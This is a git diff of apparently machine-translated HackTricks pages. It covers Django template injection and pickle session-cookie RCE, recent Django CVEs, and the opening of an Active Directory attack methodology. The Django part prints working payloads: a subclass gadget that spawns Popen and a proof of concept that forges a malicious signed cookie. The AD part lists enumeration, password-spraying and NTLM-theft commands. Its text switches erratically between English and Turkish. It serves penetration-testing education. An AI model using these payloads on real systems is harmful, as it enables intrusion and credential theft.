çıktı `49` içeriyorsa, giriş template motoru tarafından derleniyor demektir. -### RCE İçin Primitive -Django doğrudan `__import__` erişimini engelliyor, ancak Python obje grafiğine ulaşılabilir: +### Primitive to RCE +Django blocks direct access to `__import__`, but the Python object graph is reachable: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` -`subprocess.Popen`'un indeksini bulun (Python build'ine bağlı olarak ≈400–500) ve keyfi komutlar çalıştırın: +`subprocess.Popen`'in indeksini bulun (Python build'e bağlı olarak ≈400–500 arası) ve herhangi bir komutu çalıştırın: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` Daha güvenli evrensel bir gadget, `cls.__name__ == 'Popen'` olana kadar yinelemektir. -Aynı gadget, kullanıcı girdisini hatalı işleyen **Debug Toolbar** veya **Django-CMS** şablon render özellikleri için de çalışır. +Aynı gadget, kullanıcı girdisini hatalı işleyen **Debug Toolbar** veya **Django-CMS** template rendering özellikleri için de çalışır. --- -### Also see: ReportLab/xhtml2pdf PDF export RCE -Django üzerine kurulmuş uygulamalar genellikle görünümleri PDF olarak dışa aktarmak için xhtml2pdf/ReportLab ile entegre olur. Kullanıcı kontrollü HTML PDF oluşturma akışına girdiğinde, rl_safe_eval üçlü köşeli parantezler `[[[ ... ]]]` içindeki ifadeleri değerlendirebilir ve kod yürütülmesine olanak sağlayabilir (CVE-2023-33733). Detaylar, payloads, and mitigations: +### Ayrıca bak: ReportLab/xhtml2pdf PDF export RCE +Django üzerine kurulu uygulamalar genelde görünümleri (views) PDF olarak dışa aktarmak için xhtml2pdf/ReportLab'ı entegre eder. Kullanıcı kontrollü HTML PDF üretimine aktarıldığında, rl_safe_eval üçlü parantezler içindeki `[[[ ... ]]]` ifadeleri değerlendirebilir ve bu da kod yürütülmesine olanak tanır (CVE-2023-33733). Detaylar, payload'lar ve mitigasyonlar: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -47,11 +47,11 @@ Django üzerine kurulmuş uygulamalar genellikle görünümleri PDF olarak dış --- ## Pickle-Backed Session Cookie RCE -If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution. +Eğer `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` ayarı etkinse (veya pickle deserialize eden bir custom serializer kullanılıyorsa), Django session cookie'sini herhangi bir view kodu çağrılmadan önce *decrypt eder ve unpickle eder*. Bu nedenle geçerli bir signing key'e sahip olmak (varsayılan olarak proje `SECRET_KEY`) anında uzaktan kod yürütme için yeterlidir. -### Exploit Requirements -* The server uses `PickleSerializer`. -* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). +### İstismar Gereksinimleri +* Sunucu `PickleSerializer` kullanıyor. +* Saldırgan `settings.SECRET_KEY`'i biliyor veya tahmin edebiliyor (leaks via GitHub, `.env`, error pages, etc.). ### Proof-of-Concept ```python @@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` -Ortaya çıkan cookie'yi gönderin; payload WSGI worker'ın izinleriyle çalıştırılır. +Send the resulting cookie, and the payload runs with the permissions of the WSGI worker. -**Önlemler**: Varsayılan `JSONSerializer`'ı kullanmaya devam edin, `SECRET_KEY`'i düzenli olarak değiştirin ve `SESSION_COOKIE_HTTPONLY`'ı yapılandırın. +**Mitigations**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`. --- -## Son (2023-2025) Yüksek Etkili Django CVE'leri — Pentesters'in Kontrol Etmesi Gereken -* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (4 Haz 2025'te düzeltildi). Saldırganların log dosyalarına yeni satır karakterleri/ANSI kodları sızdırmasına ve sonraki log analizlerini bozmasına izin verir. Yama seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Alıntılamadan çıkmak ve rastgele SQL çalıştırmak için JSON anahtarları oluşturun. Düzeltildi: 4.2.15 / 5.0.8. +## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Saldırganların log dosyalarına yeni satır/ANSI kodları sokmasına ve downstream log analizini zehirlemesine izin verir. Yama seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). JSON anahtarları oluşturarak tırnaklamadan çıkıp arbitrary SQL çalıştırılmasına imkan verir. Fixed in 4.2.15 / 5.0.8. -Framework'ün tam sürümünü her zaman `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash'i ile tespit edin ve yukarıdakileri uygun olduğunda test edin. +Her zaman exact framework versiyonunu `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash'i ile fingerprintleyin ve yukarıdakileri uygun durumlarda test edin. --- -## Referanslar -* Django güvenlik sürümü – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Haz 2025. -* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Ağu 2024. -* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +## References +* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. +* 0xdf: University (HTB) – xhtml2pdf/ReportLab CVE-2023-33733'ü istismar ederek RCE elde etme ve AD'e pivot yapma – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 7758c216f..33bb6f123 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -4,55 +4,55 @@ ## Basic overview -**Active Directory**, ağ yöneticilerinin **domain**, **kullanıcı** ve **nesneleri** verimli şekilde oluşturup yönetmesini sağlayan temel bir teknolojidir. Ölçeklenebilir şekilde tasarlanmıştır; çok sayıda kullanıcıyı yönetilebilir **gruplar** ve **alt gruplar** halinde organize etmeye ve farklı seviyelerde **erişim haklarını** kontrol etmeye imkan verir. +**Active Directory**, ağ yöneticilerinin bir ağ içinde **domain**, **users** ve **objects** oluşturup yönetmesini sağlayan temel bir teknolojidir. Ölçeklenebilir şekilde tasarlanmış olup çok sayıda kullanıcıyı yönetilebilir **groups** ve **subgroups** içine organize etmeyi ve farklı seviyelerde **access rights** kontrol etmeyi mümkün kılar. -**Active Directory** yapısı üç ana katmandan oluşur: **domains**, **trees** ve **forests**. Bir **domain**, ortak bir veritabanını paylaşan **kullanıcı** veya **cihaz** gibi nesneler koleksiyonunu kapsar. **Trees**, ortak bir yapıyı paylaşan bu domainlerin gruplarıdır ve bir **forest**, birden fazla tree’nin **trust relationships** aracılığıyla birbirine bağlandığı en üst organizasyon katmanını temsil eder. Her seviyede belirli **erişim** ve **iletişim hakları** atanabilir. +**Active Directory** yapısı üç ana katmandan oluşur: **domains**, **trees** ve **forests**. Bir **domain**, ortak bir veritabanını paylaşan **users** veya **devices** gibi nesnelerin koleksiyonunu kapsar. **Trees**, ortak bir yapıya bağlı domain gruplarıdır ve bir **forest**, birbirleriyle **trust relationships** aracılığıyla bağlı birden çok tree koleksiyonunu temsil ederek organizasyon yapısının en üst katmanını oluşturur. Her bir seviyede belirli **access** ve **communication rights** atanabilir. Active Directory içindeki temel kavramlar şunlardır: -1. **Directory** – Active Directory nesnelerine ait tüm bilgileri barındırır. +1. **Directory** – Active Directory nesneleri ile ilgili tüm bilgilerin tutulduğu yer. 2. **Object** – Directory içindeki varlıkları ifade eder; örneğin **users**, **groups** veya **shared folders**. -3. **Domain** – Directory nesneleri için bir konteyner görevi görür; bir **forest** içinde birden fazla domain bulunabilir ve her biri kendi nesne koleksiyonunu tutar. -4. **Tree** – Ortak bir root domaini paylaşan domainlerin gruplandırılması. -5. **Forest** – Active Directory’de organizasyon yapısının en üst seviyesi; birden fazla tree’den oluşur ve bunlar arasında **trust relationships** bulunur. +3. **Domain** – Directory nesneleri için bir kapsayıcıdır; bir **forest** içinde birden fazla domain bulunabilir ve her biri kendi nesne koleksiyonunu tutar. +4. **Tree** – Ortak bir root domain paylaşan domainlerin gruplandırılması. +5. **Forest** – Active Directory’de organizasyon yapısının zirvesi; birden fazla tree’den ve bunlar arasındaki **trust relationships**’ten oluşur. -**Active Directory Domain Services (AD DS)**, ağ içinde merkezi yönetim ve iletişim için kritik olan çeşitli servisleri kapsar. Bu servisler şunlardır: +**Active Directory Domain Services (AD DS)**, ağ içinde merkezi yönetim ve iletişim için kritik bir dizi hizmeti kapsar. Bu hizmetler şunlardır: -1. **Domain Services** – Verilerin merkezi depolanmasını sağlar ve **users** ile **domains** arasındaki etkileşimleri, **authentication** ve **search** fonksiyonlarını yönetir. -2. **Certificate Services** – Güvenli **digital certificates** oluşturma, dağıtma ve yönetme işlerini denetler. -3. **Lightweight Directory Services** – **LDAP protocol** aracılığıyla directory-enabled uygulamaları destekler. -4. **Directory Federation Services** – Birden fazla web uygulamasında **single-sign-on** ile kullanıcıların tek oturumda doğrulanmasını sağlar. -5. **Rights Management** – Telif hakkı materyallerinin yetkisiz dağıtımını ve kullanılmasını kontrol ederek korumaya yardımcı olur. -6. **DNS Service** – **domain names** çözümlemesi için kritik öneme sahiptir. +1. **Domain Services** – Verilerin merkezi depolanmasını sağlar ve **users** ile **domains** arasındaki etkileşimleri, **authentication** ve **search** fonksiyonları dahil olmak üzere yönetir. +2. **Certificate Services** – Güvenli **digital certificates** oluşturma, dağıtma ve yönetmeyi denetler. +3. **Lightweight Directory Services** – LDAP protokolü aracılığıyla directory-etkin uygulamaları destekler. +4. **Directory Federation Services** – Tek oturum açma (**single-sign-on**) yetenekleri sağlayarak kullanıcıların birden fazla web uygulamasında tek oturumda kimlik doğrulaması yapmasına olanak tanır. +5. **Rights Management** – Telif hakkı materyallerinin yetkisiz dağıtımını ve kullanımını kısıtlayarak korunmasına yardımcı olur. +6. **DNS Service** – **domain names** çözümü için kritik öneme sahiptir. -Daha detaylı açıklama için bakınız: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) +Daha ayrıntılı bilgi için bakınız: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) ### **Kerberos Authentication** -Bir **AD’ye saldırmayı** öğrenmek istiyorsanız **Kerberos authentication process**i gerçekten iyi **anlamanız** gerekir.\ -[**Read this page if you still don't know how it works.**](kerberos-authentication.md) +Bir **AD**'yi nasıl atacığınızı öğrenmek için **Kerberos authentication process**'i gerçekten iyi **anlamanız** gerekir.\ +[**Bu sayfayı hâlâ nasıl çalıştığını bilmiyorsanız okuyun.**](kerberos-authentication.md) ## Cheat Sheet -Hangi komutlarla bir AD’yi enumerate/exploit edebileceğinize hızlıca bakmak için [https://wadcoms.github.io/](https://wadcoms.github.io) adresinden faydalanabilirsiniz. +Hangi komutları kullanarak bir AD'yi enumerate/exploit edebileceğinize hızlıca bakmak için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz. > [!WARNING] -> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**. +> Kerberos iletişimi eylemler için **tam nitelikli alan adı (FQDN)** gerektirir. Bir makineye IP adresiyle erişmeye çalışırsanız, **NTLM kullanılır ve Kerberos kullanılmaz**. ## Recon Active Directory (No creds/sessions) -Eğer bir AD ortamına erişiminiz varsa fakat herhangi bir credential/session yoksa şu işlemleri yapabilirsiniz: +Eğer bir AD ortamına erişiminiz var ama herhangi bir credentials/sessions yoksa, şunları yapabilirsiniz: - **Pentest the network:** -- Ağ taraması yapın, makineleri ve açık portları bulun, **vulnerabilities**i exploit etmeyi veya bu makinelerden **credentials** çıkarmayı deneyin (örneğin, [printers could be very interesting targets](ad-information-in-printers.md) çok ilgi çekici hedefler olabilir). -- DNS enumerasyonu, domain içindeki web, printers, shares, vpn, media gibi önemli sunucular hakkında bilgi verebilir. +- Ağı tarayın, makineleri ve açık portları bulun ve **zafiyetlerden yararlanmaya** veya bu makinelerden **kimlik bilgilerini elde etmeye** çalışın (örneğin, [printers could be very interesting targets](ad-information-in-printers.md)). +- DNS enumere etmek, domain içindeki web, printers, shares, vpn, media gibi kilit sunucular hakkında bilgi verebilir. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- Bunu nasıl yapacağınıza dair daha fazla bilgi için Genel [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına göz atın. -- **Check for null and Guest access on smb services** (bu modern Windows sürümlerinde çalışmayacaktır): +- Daha fazla bilgi için Genel [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) sayfasına bakın. +- **Check for null and Guest access on smb services** (modern Windows sürümlerinde bu çalışmayabilir): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` -- Bir SMB sunucusunu enumerate etme ile ilgili daha detaylı rehber şurada bulunabilir: +- Bir SMB sunucusunu nasıl enumerate edeceğinize dair daha detaylı bir rehber şurada bulunabilir: {{#ref}} @@ -61,7 +61,7 @@ Eğer bir AD ortamına erişiminiz varsa fakat herhangi bir credential/session y - **Enumerate Ldap** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- LDAP enumerate etme hakkında daha ayrıntılı rehber burada bulunabilir (anonim erişime **özellikle dikkat edin**): +- LDAP'ı nasıl enumerate edeceğinize dair daha detaylı bir rehber şurada (özellikle anonymous access'a **dikkat**): {{#ref}} @@ -69,12 +69,12 @@ Eğer bir AD ortamına erişiminiz varsa fakat herhangi bir credential/session y {{#endref}} - **Poison the network** -- Responder ile **impersonating services** yaparak credentials toplayın (gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)) +- Responder ile **impersonating services** yaparak kimlik bilgileri toplayın (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) ile hostlara erişin -- evil-S ile **fake UPnP services** açarak credentials toplayın (gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)) +- Kötü amaçlı UPnP servisleri açarak **kimlik bilgilerini** toplayın (evil-S) (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): -- İç belgeler, sosyal medya, domain içindeki servisler (özellikle web) ve genel olarak kamuya açık kaynaklardan kullanıcı adları/isimler çıkarın. -- Şirket çalışanlarının tam isimlerini bulursanız, farklı AD **username conventions**larını deneyebilirsiniz ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). En yaygın conventionlar: _NameSurname_, _Name.Surname_, _NamSur_ (her birinden 3 harf), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _rasgele harf ve 3 rasgele sayı_ (abc123). +- İç dokümanlar, sosyal medya, domain içindeki servisler (özellikle web) ve kamuya açık kaynaklardan kullanıcı adları/isimler çıkarın. +- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **username conventions** deneyebilirsiniz ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). En yaygın konvansiyonlar: _NameSurname_, _Name.Surname_, _NamSur_ (her iki isimden 3'er harf), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123). - Araçlar: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -82,8 +82,8 @@ Eğer bir AD ortamına erişiminiz varsa fakat herhangi bir credential/session y ### User enumeration - **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarına bakın. -- **Kerbrute enum**: Geçersiz bir username istenildiğinde sunucu **Kerberos error** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ ile yanıt verecek ve bu sayede username’in geçersiz olduğu anlaşılacaktır. **Valid usernames** ya AS-REP içindeki **TGT** ile cevap alır ya da kullanıcının pre-authentication yapması gerektiğini belirten _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını döndürür. -- **No Authentication against MS-NRPC**: Domain controllerlar üzerindeki MS-NRPC (Netlogon) arayüzüne auth-level = 1 (No authentication) ile bağlanmak. Bu yöntem MS-NRPC arayüzüne bind ettikten sonra `DsrGetDcNameEx2` fonksiyonunu çağırarak kullanıcı veya bilgisayarın var olup olmadığını herhangi bir credential olmadan kontrol eder. Bu tip enumeration’u uygulayan araç [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tarafından gerçekleştirilir. Araştırma şurada bulunabilir: [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) +- **Kerbrute enum**: Geçersiz bir username istendiğinde sunucu **Kerberos error** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ ile cevap vererek kullanıcının geçersiz olduğunu belirlememize izin verir. **Valid usernames** ya bir AS-REP içinde **TGT** döndürür ya da kullanıcının pre-authentication yapması gerektiğini belirten _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verir. +- **No Authentication against MS-NRPC**: Domain controller'larda MS-NRPC (Netlogon) arayüzüne auth-level = 1 (No authentication) kullanarak erişim. Yöntem, MS-NRPC arayüzüne bind ettikten sonra `DsrGetDcNameEx2` fonksiyonunu çağırarak herhangi bir credential olmadan kullanıcının veya bilgisayarın var olup olmadığını kontrol eder. Bu tür bir enumerasyonu uygulayan araç [NauthNRPC](https://github.com/sud0Ru/NauthNRPC)'dir. Araştırma şu adreste bulunabilir: [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC ``` -- **OWA (Outlook Web Access) Server** +- **OWA (Outlook Web Access) Sunucusu** -Ağda bu sunuculardan birini bulduysanız, ayrıca **user enumeration against it** gerçekleştirebilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper): +Ağda bu sunuculardan birini bulduysanız, ayrıca bunun üzerinde **user enumeration against it** gerçekleştirebilirsiniz. Örneğin, [**MailSniper**](https://github.com/dafthack/MailSniper): ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -110,18 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Kullanıcı adı listelerini [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) ve bunun içinde ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) bulabilirsiniz. +> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). > -> Ancak, daha önce yapmış olmanız gereken recon adımından şirket çalışanlarının **isimlerini** edinmiş olmalısınız. İsim ve soyadıyla potansiyel geçerli kullanıcı adları üretmek için [**namemash.py**](https://gist.github.com/superkojiman/11076951) script'ini kullanabilirsiniz. +> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames. -### Knowing one or several usernames +### Bir veya birkaç kullanıcı adını bilmek -Tamam, geçerli bir kullanıcı adına zaten sahip olduğunuzu ama parolanız olmadığını biliyorsunuz... O zaman deneyin: - -- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcının _DONT_REQ_PREAUTH_ özniteliği **yoksa**, o kullanıcı için parola türeviyle şifrelenmiş bazı veriler içerecek bir **AS_REP message** talep edebilirsiniz. -- [**Password Spraying**](password-spraying.md): Keşfedilen her kullanıcı ile en **common passwords**'ları deneyin; belki bazı kullanıcılar zayıf parola kullanıyordur (parola politikasını unutmayın!). -- Ayrıca kullanıcıların mail sunucularına erişim elde etmeye çalışmak için **spray OWA servers** yapabileceğinizi unutmayın. +Tamam, geçerli bir kullanıcı adına zaten sahip olduğunuzu biliyorsanız ama şifre yoksa... O zaman deneyin: +- [**ASREPRoast**](asreproast.md): Eğer bir kullanıcı **_DONT_REQ_PREAUTH_** özniteliğine **sahip değilse** o kullanıcı için **AS_REP message** talep edebilirsiniz; bu mesaj kullanıcı parolasından türetilen bir anahtarla şifrelenmiş bazı veriler içerir. +- [**Password Spraying**](password-spraying.md): Bulunan her kullanıcı için en yaygın şifreleri deneyin, belki bazı kullanıcılar zayıf bir şifre kullanıyordur (şifre politikasını unutmayın!). +- Not: ayrıca kullanıcıların posta sunucularına erişmeye çalışmak için **OWA sunucularını da spray** edebilirsiniz. {{#ref}} password-spraying.md @@ -129,8 +128,7 @@ password-spraying.md ### LLMNR/NBT-NS Poisoning -Ağın bazı protokollerini **poisoning** yaparak kırmak için bazı **challenge** **hashes** elde edebilirsiniz: - +Bazı challenge **hashes** elde ederek ağın bazı protokollerini **poisoning** edip bunları kırabilirsiniz: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -138,23 +136,21 @@ Ağın bazı protokollerini **poisoning** yaparak kırmak için bazı **challeng ### NTLM Relay -Eğer Active Directory'yi enumerate etmeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayış** elde etmiş olursunuz. NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) zorlayarak AD ortamına erişim sağlayabilirsiniz. +If you have managed to enumerate the Active Directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env. ### Steal NTLM Creds -Eğer **null or guest user** ile **other PCs or shares**'lara **access** edebiliyorsanız, erişildiğinde size karşı **trigger an NTLM authentication against you** edecek dosyaları (ör. bir SCF file) **place files** edebilir ve böylece kırmak için **steal** edebileceğiniz **NTLM challenge**'ları elde edebilirsiniz: - +If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## Enumerating Active Directory WITH credentials/session +## Kimlik Bilgileri/oturum ile Active Directory'yi keşfetme -Bu aşama için geçerli bir domain hesabının **kimlik bilgilerini veya oturumunu ele geçirmiş** olmanız gerekir. Eğer geçerli kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin diğer kullanıcıları ele geçirmek için hâlâ geçerli olduğunu** unutmayın. - -Kimlikli enumeration'a başlamadan önce **Kerberos double hop problem**'in ne olduğunu bilmelisiniz. +Bu aşama için geçerli bir domain hesabının **kimlik bilgilerini veya oturumunu ele geçirmiş** olmanız gerekir. Eğer bazı geçerli kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin diğer kullanıcıları ele geçirmek için hâlâ geçerli olduğunu** unutmayın. +Yetkili enumerate işlemine başlamadan önce **Kerberos double hop problem**'in ne olduğunu bilmelisiniz. {{#ref}} kerberos-double-hop-problem.md @@ -162,52 +158,51 @@ kerberos-double-hop-problem.md ### Enumeration -Bir hesabı ele geçirmek, tüm domain'i ele geçirmek için büyük bir adımdır; çünkü artık **Active Directory Enumeration:**'a başlayabileceksiniz. +Bir hesabı ele geçirmek, tüm domain'i ele geçirmek için **büyük bir adımdır**, çünkü Active Directory Enumeration'a başlayabileceksiniz: -[**ASREPRoast**](asreproast.md) ile şimdi her olası zayıf kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile tüm kullanıcı adlarının bir **list of all the usernames**'ını alıp ele geçirilen hesabın parolasını, boş parolaları ve yeni umut verici parolaları deneyebilirsiniz. +[**ASREPRoast**](asreproast.md) hakkında artık her olası savunmasız kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile tüm kullanıcı adlarının bir listesini alıp ele geçirilen hesabın şifresini, boş şifreleri veya umut vadeden yeni şifreleri deneyebilirsiniz. -- Temel keşif yapmak için [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) kullanabilirsiniz. -- Daha gizli olması için [**powershell for recon**](../basic-powershell-for-pentesters/index.html) kullanabilirsiniz. -- Daha detaylı bilgi çıkarmak için [**use powerview**](../basic-powershell-for-pentesters/powerview.md) kullanabilirsiniz. -- Active Directory keşfi için müthiş bir araç da [**BloodHound**](bloodhound.md). (Kullanılan collection yöntemlerine bağlı olarak) **çok stealthy** değildir, ama bunu umursamıyorsanız denemelisiniz. Kullanıcıların nereden RDP yapabildiğini, diğer gruplara giden yolları bulun vb. -- **Diğer otomatik AD enumeration araçları:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** -- [**DNS records of the AD**](ad-dns-records.md) ilginç bilgiler içerebilir. -- Directory'yi enumerate etmek için GUI tabanlı bir araç olarak **AdExplorer.exe** (SysInternal Suite) kullanabilirsiniz. -- LDAP veritabanında **ldapsearch** ile _userPassword_ & _unixUserPassword_ alanlarında ya da _Description_ içinde kimlik bilgisi arayabilirsiniz. Diğer yöntemler için bkz. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment). -- **Linux** kullanıyorsanız domain'i enumerate etmek için [**pywerview**](https://github.com/the-useless-one/pywerview)'u da kullanabilirsiniz. -- Ayrıca otomatik araçları deneyebilirsiniz: +- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) +- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier +- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information +- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc. +- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** +- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information. +- A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite. +- You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods. +- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview). +- You could also try automated tools as: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) - **Extracting all domain users** -Windows'tan tüm domain kullanıcı adlarını 